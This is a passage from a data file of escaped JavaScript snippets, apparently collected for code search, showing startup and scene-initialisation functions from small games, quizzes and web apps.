1;\\n\\t\\t\\t\\tfor (n = 0; n < nameLabels.length; n++){\\n\\t\\t\\t\\t\\tnameLabels[n].opacity = 1;\\n\\t\\t\\t\\t\\thpLabels[n].opacity = 1;\\n\\t\\t\\t\\t\\tmaxhpLabels[n].opacity = 1;\\n\\t\\t\\t\\t\\tmpLabels[n].opacity = 1;\\n\\t\\t\\t\\t}\\n\\t\\t\\t});\\n\\t\\t\\t}\",\n \"function main () {\\n // Initialise application\\n\\n // Get director singleton\\n var director = Director.sharedDirector\\n\\n // Wait for the director to finish preloading our assets\\n events.addListener(director, 'ready', function (director) {\\n // Create a scene and layer\\n var scene = new Scene()\\n , layer = new Galaga()\\n\\n // Add our layer to the scene\\n scene.addChild(layer)\\n\\n // Run the scene\\n director.replaceScene(scene)\\n })\\n\\n // Preload our assets\\n director.runPreloadScene()\\n}\",\n \"_start() {\\n\\n this._menuView = new MenuView(\\n document.querySelector('nav'),\\n this.sketches\\n );\\n\\n for (var key in this.sketches) {\\n this.DEFAULT_SKETCH = key;\\n break;\\n }\\n\\n this._setupScroll();\\n this._setupWindow();\\n this._onHashChange();\\n }\",\n \"function App() {\\n var mouse = DreamsArk.module('Mouse');\\n //\\n // /**\\n // * start Loading the basic scene\\n // */\\n DreamsArk.load();\\n //\\n // mouse.click('#start', function () {\\n //\\n // start();\\n //\\n // return true;\\n //\\n // });\\n //\\n // mouse.click('.skipper', function () {\\n //\\n // query('form').submit();\\n //\\n // return true;\\n //\\n // });\\n //\\n // mouse.click('#skip', function () {\\n //\\n // query('form').submit();\\n //\\n // return true;\\n //\\n // });\\n //\\n // mouse.click('.reseter', function () {\\n //\\n // location.reload();\\n //\\n // return true;\\n //\\n // });\\n }\",\n \"function start() {\\n restarts++;\\n currentScene = scenes[0];\\n currentTextIndex = 0;\\n\\n setMainImage();\\n setMainText();\\n hideSetup();\\n updateStats();\\n}\",\n \"function start(action) {\\r\\n\\t\\r\\n\\t\\tswitch (action) {\\r\\n\\t\\t\\tcase 'go look':\\r\\n\\t\\t\\t\\ttextDialogue(narrator, \\\"Narocube: What are you going to look at??\\\", 1000);\\r\\n\\t\\t\\tbreak;\\r\\n\\r\\n\\t\\t\\tcase 'explore':\\r\\n\\t\\t\\t\\texploreship(gameobj.explore);\\r\\n\\t\\t\\t\\tgameobj.explore++;\\r\\n\\t\\t\\tbreak;\\r\\n\\r\\n\\t\\t\\tcase 'sit tight':\\r\\n\\t\\t\\t\\ttextDialogue(narrator, \\\"Narocube: Good choice we should probably wait for John to get back.\\\", 1000);\\r\\n\\t\\t\\t\\tgameobj.sittight++;\\r\\n\\t\\t\\tbreak;\\t\\r\\n\\t\\t}\\r\\n}\",\n \"function go() {\\n console.log('go...')\\n \\n const masterT = new TimelineMax();\\n \\n masterT\\n .add(clearStage(), 'scene-clear-stage')\\n .add(enterFloorVegetation(), 'scene-floor-vegetation')\\n .add(enterTreeStuff(), 'scene-enter-treestuff')\\n .add(enterGreet(), 'scene-enter-greet')\\n ;\\n }\",\n \"function main(){\\n\\t//Initialice with first episode\\n\\tvar sel_episodes = [1]\\n\\t//collage(); //Create a collage with all the images as initial page of the app\\n\\tpaintCharacters();\\n\\tpaintEpisodes();\\n\\tpaintLocations(sel_episodes);\\n}\",\n \"startGame() {\\n this.scene.start('MenuScene');\\n }\",\n \"function start(){\\n renderGameField();\\n resizeGameField();\\n spawnSnake();\\n spawnFood();\\n eatFood();\\n renderSnake();\\n}\",\n \"function loadStart() {\\n // Prepare the screen and load new content\\n collapseHeader(false);\\n wipeContents();\\n loadHTML('#info-content', 'ajax/info.html');\\n loadHTML('#upper-content', 'ajax/texts.html #welcome-text');\\n loadHTML('#burger-container', 'ajax/burger-background.html #burger-flags', function() {\\n loadScript(\\\"js/flag-events.js\\\");\\n });\\n}\",\n \"function start(){\\n\\t\\t //Initialize this Game. \\n newGame(); \\n //Add mouse click event listeners. \\n addListeners();\\n\\t\\t}\",\n \"function initScene1() {\\n if (currentScene === 1) {\\n\\n $('#game1').show(\\\"fast\\\");\\n\\n //clique sur une porte\\n $('.dungeon0Door').on('click', function (e) {\\n console.log(currentScene);\\n if (consumeEnergy(10)) {\\n if (oD10.roll() >= 8) {\\n printConsole('Vous vous echappez du donjon');\\n loadScene(2);\\n } else {\\n printConsole(\\\"Ce n'est pas la bonne porte ..\\\");\\n $('.dungeon0Door').animate({\\n opacity: '0'\\n }, 'slow', function () {\\n $('.dungeon0Door').animate({\\n opacity: '1'\\n }, 'fast');\\n });\\n }\\n }\\n });\\n }\\n }\",\n \"create() {\\n\\n // add animations (for all scenes)\\n this.addAnimations();\\n\\n // change to the \\\"Home\\\" scene and provide the default chord progression / sequence\\n this.scene.start('Home', {sequence: [0, 1, 2, 3, 0, 1, 2, 3]});\\n }\",\n \"function start(){\\n\\t\\n}\",\n \"function Aside() {\\n appStarted = true;\\n // all objects added to the stage appear in \\\"layer order\\\"\\n // add a helloLabel to the stage\\n seeMore = new objects.Label(\\\"Click me to see more of my work\\\", \\\"32px\\\", \\\"Times New Roman\\\", \\\"#000000\\\", canvasHalfWidth, canvasHalfHeight + 200, true);\\n stage.addChild(seeMore);\\n // add a clickMeButton to the stage\\n treesharksLogo = new objects.Icon(loader, \\\"treesharksLogo\\\", canvasHalfWidth, canvasHalfHeight - 100, true);\\n stage.addChild(treesharksLogo);\\n }\",\n \"start() {// [3]\\n }\",\n \"function renderStartPage() {\\n addView(startPage());\\n}\",\n \"onCreate(scene, custom) {}\",\n \"function start() {\\n startMove = -kontra.canvas.width / 2 | 0;\\n startCount = 0;\\n\\n audio.currentTime = 0;\\n audio.volume = options.volume;\\n audio.playbackRate = options.gameSpeed;\\n\\n ship.points = [];\\n ship.y = mid;\\n\\n tutorialMoveInc = tutorialMoveIncStart * audio.playbackRate;\\n showTutorialBars = true;\\n isTutorial = true;\\n tutorialScene.show();\\n}\",\n \"function startDemo() {\\n View.set('Demo');\\n }\",\n \"function start()\\n{\\n clear();\\n console.log(\\\"==============================================\\\\n\\\");\\n console.log(\\\" *** Welcome to the Interstellar Pawn Shop *** \\\\n\\\");\\n console.log(\\\"==============================================\\\\n\\\");\\n console.log(\\\"We carry the following items:\\\\n\\\");\\n readCatalog();\\n}\",\n \"function start() {\\n\\n console.log(\\\"\\\\n\\\\t ------------Welcome to Bamazon Store-------------\\\");\\n showProducts();\\n\\n\\n\\n}\",\n \"function Start(){\\n activeScene.traverse(function(child){\\n if(child.awake != undefined){\\n child.awake();\\n }\\n });\\n\\n activeScene.traverse(function(child){\\n if(child.start != undefined){\\n child.start();\\n }\\n });\\n activeScene.isReady = true;\\n}\",\n \"function setup_goToStart(){\\n // what happens when we move to 'goToStart' section of a trial\\n wp.trialSection = 'goToStart';\\n unstageArray(fb_array);\\n\\n // update objects\\n choiceSet.arc.visible = false;\\n choiceSet.arc_glow.visible = false;\\n startPoint.sp.visible = true;\\n startPoint.sp_glow.visible = false;\\n\\n // update messages\\n msgs.goToStart.visible = true;\\n msgs.tooSlow.visible = false;\\n\\n stage.update();\\n }\",\n \"function createStart(){\\n // scene components\\n startScreen = initScene();\\n startText = createSkyBox('libs/Images/startscene.png', 10);\\n startScreen.add(startText);\\n\\n // lights\\n \\t\\tvar light = createPointLight();\\n \\t\\tlight.position.set(0,200,20);\\n \\t\\tstartScreen.add(light);\\n\\n // camera\\n \\t\\tstartCam = new THREE.PerspectiveCamera( 90, window.innerWidth / window.innerHeight, 0.1, 1000 );\\n \\t\\tstartCam.position.set(0,50,1);\\n \\t\\tstartCam.lookAt(0,0,0);\\n }\",\n \"function start() {\\n\\n // Make sure we've got all the DOM elements we need\\n setupDOM();\\n\\n // Updates the presentation to match the current configuration values\\n configure();\\n\\n // Read the initial hash\\n readURL();\\n\\n // Notify listeners that the presentation is ready but use a 1ms\\n // timeout to ensure it's not fired synchronously after #initialize()\\n setTimeout(function () {\\n dispatchEvent('ready', {\\n 'indexh': indexh,\\n 'indexv': indexv,\\n 'currentSlide': currentSlide\\n });\\n }, 1);\\n\\n }\",\n \"start() {\\n console.log(\\\"Die Klasse App sagt Hallo!\\\");\\n }\",\n \"function start () {\\n gmCtrl.setObj();\\n uiCtrl.setUi();\\n }\",\n \"function startGame(mapName = 'galaxy'){\\n toggleMenu(currentMenu);\\n if (showStats)\\n $('#statsOutput').show();\\n $('#ammoBarsContainer').show();\\n scene.stopTheme();\\n scene.createBackground(mapName);\\n if (firstTime) {\\n firstTime = false;\\n createGUI(true);\\n render();\\n } else {\\n requestAnimationFrame(render);\\n }\\n}\",\n \"function gamestart() {\\n\\t\\tshowquestions();\\n\\t}\",\n \"function fastFoodRestaurantScene() {\\n subTitle.innerText = fastfoodWelcome;\\n firstButton.classList.add(\\\"hidden\\\");\\n secondButton.classList.add(\\\"hidden\\\");\\n fastDiv.classList.remove(\\\"hidden\\\");\\n\\n handleFastRestaurantChoice();\\n}\",\n \"function begin() {\\n\\tbackgroundBox = document.getElementById(\\\"BackgroundBox\\\");\\n\\n\\tbuildGameView();\\n\\tbuildMenuView();\\n\\n\\tinitSFX();\\n\\tinitMusic();\\n\\n\\tENGINE_INT.start();\\n\\n\\tswitchToMenu(new TitleMenu());\\n\\t//startNewGame();\\n}\",\n \"function startScreen() {\\n mainContainer.append(startButton)\\n }\",\n \"function startGame() {\\n\\t\\tstatus.show();\\n\\t\\tinsertStatusLife();\\n\\t\\tsetLife(100);\\n\\t\\tsetDayPast(1);\\n\\t}\",\n \"function start() {\\n\\n}\",\n \"async start() {\\n // Navbar in header\\n this.navbar = new Navbar();\\n this.navbar.render('header');\\n\\n // Footer renderin\\n this.footer = new Footer();\\n this.footer.render('footer');\\n\\n this.myFavorites = new Favorites();\\n\\n setTimeout(() => {\\n this.router = new Router(this.myFavorites);\\n }, 0)\\n }\",\n \"initializeScene(){}\",\n \"function startRitual() {\\n\\tconsole.log(\\\"** glitter **\\\");\\n\\tflash(pump);\\n}\",\n \"StartGame(player, start){\\n this.scene.start('level1');\\n }\",\n \"function startGame(){\\n getDictionary();\\n var state = $.deparam.fragment();\\n options.variant = state.variant || options.variant;\\n makeGameBoard();\\n loadState();\\n }\",\n \"start () {\\n // Draw the starting point for the view with no elements\\n }\",\n \"start () {\\n // Draw the starting point for the view with no elements\\n }\",\n \"doReStart() {\\n // Stoppe la musique d'intro\\n this.musicIntro.stop();\\n // Lance la scene de menus\\n this.scene.start('MenuScene');\\n }\",\n \"function start() {\\n //Currently does nothing\\n }\",\n \"async show() {\\n // Anzuzeigenden Seiteninhalt nachladen\\n let html = await fetch(\\\"page-start/page-start.html\\\");\\n let css = await fetch(\\\"page-start/page-start.css\\\");\\n\\n if (html.ok && css.ok) {\\n html = await html.text();\\n css = await css.text();\\n } else {\\n console.error(\\\"Fehler beim Laden des HTML/CSS-Inhalts\\\");\\n return;\\n }\\n\\n // Seite zur Anzeige bringen\\n this._pageDom = document.createElement(\\\"div\\\");\\n this._pageDom.innerHTML = html;\\n\\n await this._renderReciepts(this._pageDom);\\n\\n this._app.setPageTitle(\\\"Startseite\\\", {isSubPage: true});\\n this._app.setPageCss(css);\\n this._app.setPageHeader(this._pageDom.querySelector(\\\"header\\\"));\\n this._app.setPageContent(this._pageDom.querySelector(\\\"main\\\"));\\n\\n this._countDown();\\n }\",\n \"function run() { \\n\\n moveToNewspaper();\\n pickBeeper();\\n returnHome();\\n\\n}\",\n \"start() {// Your initialization goes here.\\n }\",\n \"function start() {\\n\\tdocument.body.appendChild(object({ type: \\\"main\\\", id: \\\"content\\\" }));\\n}\",\n \"function start() {\\n getTodosFromLs();\\n addTodoEventListeners();\\n sidebar();\\n updateTodaysTodoList();\\n calendar();\\n}\",\n \"function createFirstScene() {\\n makeRect(0, 0, 30000, 3000, \\\"darkcyan\\\", 1)\\n makeRect(119, 30, 30, 2, \\\"brown\\\", 1)\\n makeRect(51, 30, 30, 2, \\\"brown\\\", 1)\\n makeCircle(100, 30, 20, \\\"white\\\", 1)\\n makeEllipse(100, 10, 12, 10, \\\"white\\\", 1)\\n makeCircle(100, 60, 30, \\\"white\\\", 1)\\n \\n \\n}\",\n \"function startLevel1(){\\n teleMode = false;\\n fadeAll();\\n game.time.events.add(500, function() {\\n game.state.start('state0');\\n }, this);\\n}\",\n \"function start() {\\n INFO(\\\"start\\\", clock()+\\\"msecs\\\")\\n loadThemeScript();\\n if (window.MathJax)\\n MathJax.Hub.Queue([\\\"Typeset\\\", MathJax.Hub]);\\n beginInteractionSessions(QTI.ROOT);\\n setTimeout(initializeCurrentItem, 100);\\n setInterval(updateTimeLimits, 100);\\n document.body.style.display=\\\"block\\\";\\n INFO(\\\"end start\\\", clock()+\\\"msecs\\\");\\n }\",\n \"function initMenu() {\\n // Connect Animation\\n window.onStepped.Connect(stepMenu);\\n\\n // Make buttons do things\\n let startbutton = document.getElementById('start_button');\\n \\n //VarSet('S:Continue', 'yielding')\\n buttonFadeOnMouse(startbutton);\\n startbutton.onclick = startDemo\\n\\n\\n // run tests for prepar3d integration\\n runTests();\\n}\",\n \"function start(){\\n // First/starting background\\n imageMode(CENTER);\\n image(gamebackground, width/2, height/2, width, height);\\n fill(255);\\n text(\\\"Master of Pie\\\", width/2 - width/20, height/4);\\n text(\\\"Start\\\", width/2 - width/75, height/2);\\n text(\\\"(Landscape Orientation Preferred)\\\", width/2 - width/10, height/4 + height/14);\\n // Pizzas array is cleared\\n pizzas = [];\\n // Creates the ship\\n ship = new Spacecraft();\\n // Creates pizzas/asteroids at random places offscreen\\n for(let i = 0; i < pizzaorder; i++){\\n pizzas[i] = new Rock(random(0, width), random(0, height), random(width/40, width/10));\\n }\\n // Reset variables\\n click3 = true;\\n reload = 10;\\n piecutter = [];\\n pizzaorder = 1;\\n level = 1;\\n}\",\n \"create(){\\n this.scene.start('MenuGame');\\n }\",\n \"function startApp() {\\n displayProducts();\\n}\",\n \"function start() {\\n\\n id = realtimeUtils.getParam('id');\\n if (id) {\\n // Load the document id from the URL\\n realtimeUtils.load(id.replace('/', ''), onFileLoaded, onInitialize);\\n init();\\n } else {\\n // Create a new document, add it to the URL\\n realtimeUtils.createRealtimeFile('MyWebb App', function (createResponse) {\\n window.history.pushState(null, null, '?id=' + createResponse.id);\\n id=createResponse.id;\\n realtimeUtils.load(createResponse.id, onFileLoaded, onInitialize);\\n init();\\n });\\n \\n }\\n \\n \\n }\",\n \"function startup() {\\n\\tsaveSlot('rainyDayZRestart');\\n\\tfooterVisibility = document.getElementById(\\\"footer\\\").style.visibility;\\n\\tfooterHeight = document.getElementById(\\\"footer\\\").style.height;\\t\\n\\tfooterOverflow = document.getElementById(\\\"footer\\\").style.overflow;\\t\\n\\twrapper.scrollTop = 0;\\n\\tupdateMenu();\\n\\thideStuff();\\n\\tif(localStorage.getItem('rainyDayZAuto')) {\\n\\t\\tloadSlot('rainyDayZAuto');\\n\\t}\\n\\telse{\\n\\t\\tsceneTransition('start');\\n\\t}\\n}\",\n \"function requestFish() {\\n // all_stopped = 1;\\n //addFish++;\\n\\n view.resize(300,300);\\n aquarium.viewport(300,300)\\n aquarium.prepare();\\n}\",\n \"function Main() {\\n console.log(\\\"%c Scene Switched...\\\", \\\"color: green; font-size: 16px;\\\");\\n // clean up\\n if (currentSceneState != scenes.State.NO_SCENE) {\\n currentScene.Clean();\\n stage.removeAllChildren();\\n }\\n // switch to the new scene\\n switch (config.Game.SCENE) {\\n case scenes.State.START:\\n console.log(\\\"switch to Start Scene\\\");\\n currentScene = new scenes.Start();\\n break;\\n case scenes.State.PLAY:\\n console.log(\\\"switch to Play Scene\\\");\\n currentScene = new scenes.Play();\\n break;\\n case scenes.State.END:\\n console.log(\\\"switch to End Scene\\\");\\n currentScene = new scenes.End();\\n break;\\n }\\n currentSceneState = config.Game.SCENE;\\n stage.addChild(currentScene);\\n }\",\n \"function startGame(){\\n \\t\\tGameJam.sound.play('start');\\n \\t\\tGameJam.sound.play('run');\\n\\t\\t\\n\\t\\t// Put items in the map\\n\\t\\titemsToObstacles(true);\\n\\n\\t\\t// Create the prisoner path\\n\\t\\tGameJam.movePrisoner();\\n\\n\\t\\t// Reset items, we dont want the user to be able to drag and drop them\\n \\t\\tGameJam.items = [];\\n \\t\\t\\n \\t\\tfor (var item in GameJam.levels[GameJam.currentLevel].items) {\\n \\t\\t\\tGameJam.levels[GameJam.currentLevel].items[item].count = GameJam.levels[GameJam.currentLevel].items[item].countStart;\\n \\t\\t}\\n\\n\\t\\t// Reset prisoner speed\\n\\t\\tGameJam.prisoner[0].sprite.speed = 5;\\n\\n\\t\\t// Reset game time\\n\\t\\tGameJam.tileCounter = 0;\\n\\t\\tGameJam.timer.className = 'show';\\n\\t\\tdocument.getElementById('obstacles').className = 'hide';\\n\\t\\tdocument.getElementById('slider').className = 'hide';\\n\\t\\tdocument.getElementById('start-button-wrapper').className = 'hide';\\n\\n\\t\\t// Game has started\\n\\t\\tGameJam.gameStarted = true;\\n\\n\\t\\tGameJam.gameEnded = false;\\n\\n\\t\\tdocument.getElementById('static-canvas').className = 'started';\\n\\n\\t\\tconsole.log('-- Game started');\\n\\t}\",\n \"function start() {\\n console.log(\\\"Animation Started\\\");\\n\\n let masterTl = new TimelineMax();\\n\\n //TODO: add childtimelines to master\\n masterTl\\n .add(clearStage(), \\\"scene-clear-stage\\\")\\n .add(enterFloorVegetation(), \\\"scene-floor-vegitation\\\")\\n .add(enterTreeStuff(), \\\"tree-stuff\\\");\\n }\",\n \"function start() {\\n init();\\n run();\\n }\",\n \"function startEncounter(){\\n\\tthis.scene.start('Battle', {type: 'encounter'})\\n}\",\n \"startScene() {\\n console.log('[Game] startScene');\\n var that = this;\\n\\n if (this.scene) {\\n console.log('[Game] loading scene');\\n this.scene.load().then(() => {\\n console.log('[Game] Scene', that.scene.name, 'loaded: starting run & render loops');\\n // setTimeout(function() {\\n debugger;\\n that.scene.start();\\n debugger;\\n that._runSceneLoop();\\n that._renderSceneLoop();\\n // }, 0);\\n });\\n } else {\\n console.log('[Game] nothing to start: no scene selected!!');\\n }\\n }\",\n \"go() {\\n\\t\\tthis.context.analytics.record(\\\"Game Loaded\\\");\\n\\t\\tthis._$template.css({ \\\"visibility\\\": \\\"visible\\\"}).hide().fadeIn();\\n\\t\\tthis._$start = $(\\\".start\\\", this._$template);\\n\\n\\t\\tthis._$start.on('click', (e) => {\\n\\t\\t\\te.preventDefault();\\n\\t\\t\\tthis._$template.fadeOut(() => {\\n\\t\\t\\t\\tthis.nextState(\\\"playing\\\");\\n\\t\\t\\t});\\n\\t\\t});\\n\\t}\",\n \"Main() {\\n // add the welcome label to the scene\\n this.addChild(this._overLabel);\\n // add the backButton to the scene\\n this.addChild(this._backButton);\\n // event listeners\\n this._backButton.on(\\\"click\\\", this._backButtonClick);\\n }\",\n \"function start_view() {\\n editor_visibility(true);\\n button_visibility('view-mode');\\n d3.json(resource_url(), editor_callback);\\n}\",\n \"function main() {\\n startSlideShowAnimation();\\n renderProject();\\n}\",\n \"function start() {\\n //switch to scene 1\\n window.inventoryActive = \\\"\\\";\\n window.inventoryActive2 = \\\"\\\";\\n window.inventory[1]= {id:\\\"\\\", inspected:false, desciption:\\\"\\\"};\\n window.inventory[2]= {id:\\\"\\\", inspected:false, desciption:\\\"\\\"};\\n window.inventory[3]= {id:\\\"\\\", inspected:false, desciption:\\\"\\\"};\\n window.inventory[4]= {id:\\\"\\\", inspected:false, desciption:\\\"\\\"};\\n window.inventory[5]= {id:\\\"\\\", inspected:false, desciption:\\\"\\\"};\\n window.inventory[6]= {id:\\\"\\\", inspected:false, desciption:\\\"\\\"};\\n window.timerTime = null;\\n window.inspectResultReceived =0;\\n window.activeSlot = \\\"\\\";\\n window.inspectResult= \\\"\\\";\\n \\n}\",\n \"function start() {\\n action(1, 0, 0);\\n}\",\n \"create() {\\n // We have nothing left to do here. Start the next scene.\\n \\n\\n this.input.on('pointerdown', function (pointer) {\\n\\n this.scene.start('Game');\\n }, this);\\n\\n \\n }\",\n \"function initiatePage () {\\n\\t highlightDayOfTheWeek();\\n\\t populateHairdresserContainer();\\n\\t animateContainer(true, '#who');\\n\\t window.setTimeout(function () { autoScrollSlideshow(); }, 4000);\\n\\t}\",\n \"function createFirstScene() {\\nmakeRect(0,25,200,100,\\\"black\\\",0.6) \\n makeCircle(100,52,25,\\\"orange\\\",1)\\nmakeRect(90,75,20,8,\\\"red\\\",1)\\nmakeRect(90,37,20,3,\\\"red\\\",0.4)\\nmakeCircle(115,43,4,\\\"black\\\",0.9)\\nmakeCircle(85,43,4,\\\"black\\\",0.9)\\nmakeCircle(100,53,2,\\\"black\\\",0.9)\\nmakeEllipse(100,27,28,10,1)\\nmakeLine(123,61,77,61,\\\"black\\\",1)\\nmakeCircle(100,112,35,\\\"black\\\",0.9)\\nmakeLine(124,87,76,87,\\\"white\\\",1)\\nmakeLine(131,97,69,97,\\\"white\\\",1)\\nmakeCircle(100,25,2,\\\"white\\\")\\nmakeImage(\\\"http://www.drodd.com/images15/canada-flag15.gif\\\",0,1,70,30,1)\\nmakeLine(12,20,12,50,\\\"white\\\",4,1)\\n var randomstuff= Math.random()\\n if(randomstuff <0.4){\\n makeText(\\\"Im a Canadian\\\",80,80,20,10,\\\"red\\\")\\n }\\n}\",\n \"function showStart() {\\n layout.RemoveChild(loading);\\n layout.AddChild(text);\\n layout.AddChild(startButton);\\n clearInterval(loadTime);\\n\\n // Setup arrows\\n res.arrowTL_png.SetPosition(0, 0);\\n res.arrowTR_png.SetPosition(0.9, 0);\\n res.arrowBL_png.SetPosition(0, 0.85);\\n res.arrowBR_png.SetPosition(0.9, 0.85);\\n}\",\n \"function init() {\\n createWelcomeGraphic();\\n console.log('WELCOME TO ASSOCIATE MANAGER!');\\n console.log('FOLLOW THE PROMPTS TO COMPLETE YOUR TASKS.');\\n}\",\n \"function Main() {\\n console.log(\\\"%c Scene Switched...\\\", \\\"color: green; font-size: 16px;\\\");\\n // clean up\\n if (currentSceneState != scenes.State.NO_SCENE) {\\n currentScene.removeAllChildren();\\n stage.removeAllChildren();\\n }\\n // switch to the new scene\\n switch (config.Game.SCENE) {\\n case scenes.State.START:\\n console.log(\\\"switch to Start Scene\\\");\\n currentScene = new scenes.Start();\\n break;\\n case scenes.State.PLAY:\\n console.log(\\\"switch to Play Scene\\\");\\n currentScene = new scenes.Play();\\n break;\\n case scenes.State.END:\\n console.log(\\\"switch to End Scene\\\");\\n currentScene = new scenes.End();\\n break;\\n }\\n currentSceneState = config.Game.SCENE;\\n stage.addChild(currentScene);\\n }\",\n \"function generateScenes() { \\n\\n\\tsceneIndex.push(new Scene(1,'Change the Future',bg.themes.grey,{sel:'#future',offset:0}));\\n\\tsceneIndex.push(new Scene(2,'Bitcoin Intro',bg.themes.grey,{sel:'#intro',offset:0,segueEnterDown:animations.fadeIntroText}));\\n\\tsceneIndex.push(new Scene(3,'Bank',bg.themes.white,{sel:'#bank',offset:0,segueEnterDown:animations.decentralize},svg.drawBankLines));\\n\\tsceneIndex.push(new Scene(4,'Use Case',bg.themes.white,{sel:'#usecase',offset:0,segueEnterDown:interactions.waitUseCase}));\\n\\tsceneIndex.push(new Scene(5,'Addresses',bg.themes.white,{sel:'#address',offset:0}));\\t\\n\\tsceneIndex.push(new Scene(6,'Pick Address',bg.themes.white,{sel:'#pickaddress',offset:0,segueEnterDown:interactions.waitAddress}));\\t\\n\\tsceneIndex.push(new Scene(7,'Use Address',bg.themes.white,{sel:'#useaddress',offset:0}));\\t\\n\\tsceneIndex.push(new Scene(8,'Secret Key',bg.themes.white,{sel:'#secretkey',offset:0,segueEnterDown:animations.rotateCycle}));\\n\\tsceneIndex.push(new Scene(9,'Your Account',bg.themes.white,{sel:'#account',offset:0}));\\n\\tsceneIndex.push(new Scene(10,'Transfer',bg.themes.white,{sel:'#transfer',offset:0,segueEnterDown:interactions.waitTransfer}));\\n\\tsceneIndex.push(new Scene(11,'Transaction',bg.themes.white,{sel:'#transaction',offset:0}));\\n\\tsceneIndex.push(new Scene(12,'Ledger',bg.themes.white,{sel:'#ledger',offset:0,segueEnterDown:animations.solveBlock,segueEnterUp:animations.undoBlock}));\\n\\tsceneIndex.push(new Scene(13,'Package',bg.themes.white,{sel:'#package',offset:0}));\\n\\tsceneIndex.push(new Scene(14,'Reward',bg.themes.gradient,{sel:'#reward',offset:0}));\\n\\tsceneIndex.push(new Scene(15,'Network',bg.themes.grey,{sel:'#network',offset:0}));\\n\\tsceneIndex.push(new Scene(16,'Block Chain',bg.themes.grey,{sel:'#blockchain',offset:0}));\\n\\tsceneIndex.push(new Scene(17,'Resolution',bg.themes.grey,{sel:'#resolution',offset:0}));\\n\\tsceneIndex.push(new Scene(18,'Medium',bg.themes.grey,{sel:'#medium',offset:0}));\\n\\n\\t_.indexBy(sceneIndex,'sceneIndex');\\n\\n\\t// Add ScrollMagic listeners for scenes\\n\\t_.each(sceneIndex, function(val,key) {\\n\\n\\t\\tval.init();\\n\\n\\t\\t// Animated segues\\n\\t\\tvar trigger = new ScrollMagic.Scene({\\n\\t\\ttriggerElement: val.segue.sel,\\n\\t\\toffset: 200,\\n\\t\\tduration: val.height\\n\\t\\t})\\n\\t\\t.on(\\\"enter leave\\\", function(e) {\\n\\t\\t\\tvar enter = e.type === \\\"enter\\\";\\n\\t\\t\\tvar down = e.scrollDirection === \\\"FORWARD\\\";\\n\\t\\t\\tval.segueScene(enter,down);\\n\\t\\t})\\n\\t\\t//.addIndicators()\\n\\t\\t.addTo(window.controller);\\n\\n\\t\\t// Pin the page\\n\\t\\tvar pin = new ScrollMagic.Scene({\\n\\t\\t triggerElement: \\\".scene\\\"+val.sceneIndex, // point of execution\\n\\t\\t duration: $(window).height() - val.segue.offset, // pin element for the window height - 1\\n\\t\\t triggerHook: 0, // don't trigger until trigger hits the top of the viewport\\n\\t\\t reverse: true // allows the effect to trigger when scrolled in the reverse direction\\n\\t\\t})\\n\\t\\t//.addIndicators()\\n\\t\\t.setPin(\\\".scene\\\"+val.sceneIndex) // the element we want to pin\\n\\t\\t.addTo(window.controller);\\n\\n\\t\\t// Background DOWNWARD transitions\\n\\t\\tvar downward = new ScrollMagic.Scene({\\n\\t\\t\\ttriggerElement: '.scene'+val.sceneIndex,\\n\\t\\t\\toffset: -200,\\n\\t\\t\\tduration: val.height\\n\\t\\t})\\n\\t\\t.on(\\\"enter leave\\\", function(e) {\\n\\t\\t\\tvar enter = e.type === \\\"enter\\\";\\n\\t\\t\\tvar down = e.scrollDirection === \\\"FORWARD\\\";\\n\\t\\t\\t(enter && down) && val.bgState();\\n\\t\\t\\tenter && breadcrumbs.open(val.sceneIndex);\\n\\t\\t})\\n\\t\\t.addTo(window.controller);\\n\\n\\t\\t// Background UPWARD transitions\\n\\t\\tvar upward = new ScrollMagic.Scene({\\n\\t\\t\\ttriggerElement: '.scene'+val.sceneIndex,\\n\\t\\t\\toffset: 400,\\n\\t\\t\\tduration: val.height\\n\\t\\t})\\n\\t\\t.on(\\\"enter leave\\\", function(e) {\\n\\t\\t\\tvar enter = e.type === \\\"enter\\\";\\n\\t\\t\\tvar down = e.scrollDirection === \\\"FORWARD\\\";\\n\\t\\t\\t(val.sceneIndex > 0) && (enter && !down) && sceneIndex[val.sceneIndex-1].bgState();\\n\\t\\t})\\n\\t\\t.addTo(window.controller);\\n\\t\\t\\t\\t\\n\\t})\\n\\n\\tgenerateTweens();\\n\\tgenerateSceneListeners();\\n\\tbreadcrumbs.init();\\n}\",\n \"function start(){\\r\\n\\t\\t// for now, start() will call _draw(), which draws all the objects on the stage\\r\\n\\t\\t// but in the next lesson, we'll add an animation loop that calls _draw()\\r\\n\\t\\t_draw(ctx);\\r\\n\\t}\",\n \"start() {\\n console.log(\\\"Die Klasse App sagt Hallo!\\\");\\n this._router.resolve();\\n }\",\n \"show ()\\n\\t{\\n\\t\\t//if the view hasn't been initialised, call setup (of the concrete view e.g. LOView)\\n\\t\\tif(!this.initialised)\\n\\t\\t{\\n\\t\\t\\tthis.setup();\\n\\t\\t}\\n\\t\\telse\\n\\t\\t{\\n\\t\\t\\t//unhide the elements of the scene\\n\\t\\t\\tthis.root.style.display = 'block';\\n\\t\\t}\\n\\t}\",\n \"function startScreen() {\\n\\t\\t\\tinitialScreen =\\n\\t\\t\\t\\t\\\"

    Start Quiz

    \\\";\\n\\t\\t\\t$( \\\".mainArea\\\" )\\n\\t\\t\\t\\t.html( initialScreen );\\n\\t\\t}\",\n \"function startGame() {\\r\\n if (pressed == 0) {\\r\\n createRain();\\r\\n animate();\\r\\n }\\r\\n }\",\n \"function start(){\\n\\tautoCompleteSearch();\\n\\tsubmitButton();\\n\\tsubmitButtonRandom();\\n\\tnewSearch();\\n\\trandomChar();\\n\\thideCarouselNav();\\n}\",\n \"function tl_start() {\\n $('#futureman_face, #menu-open').css('display', 'inherit');\\n $('.menu-open').css('visibility', 'inherit');\\n }\",\n \"create(){\\n this.add.text(20, 20, \\\"LoadingGame...\\\")\\n\\n this.time.addEvent({\\n delay: 3000, // ms\\n callback: function(){this.scene.start('MenuScene')},\\n //args: [],\\n callbackScope: this,\\n loop: true \\n });\\n\\n \\n }\",\n \"function frontPage() {\\n console.log(\\\"Welcome to Reddit! the front page of the internet\\\");\\n fpMenu();\\n\\n\\n}\",\n \"function reactionStart () {\\n if (bu2.state != 1) t0 = new Date(); // Falls Animation angeschaltet, neuer Anfangszeitpunkt\\n switchButton2(); // Zustand des Schaltknopfs ändern\\n enableInput(false); // Eingabefelder deaktivieren\\n if (bu2.state == 1) startAnimation(); // Entweder Animation starten bzw. fortsetzen ...\\n else stopAnimation(); // ... oder stoppen\\n reaction(); // Eingegebene Werte übernehmen und rechnen\\n paint(); // Neu zeichnen\\n }\",\n \"function onCreate() {\\n\\n /* -------------------------------*/\\n /* 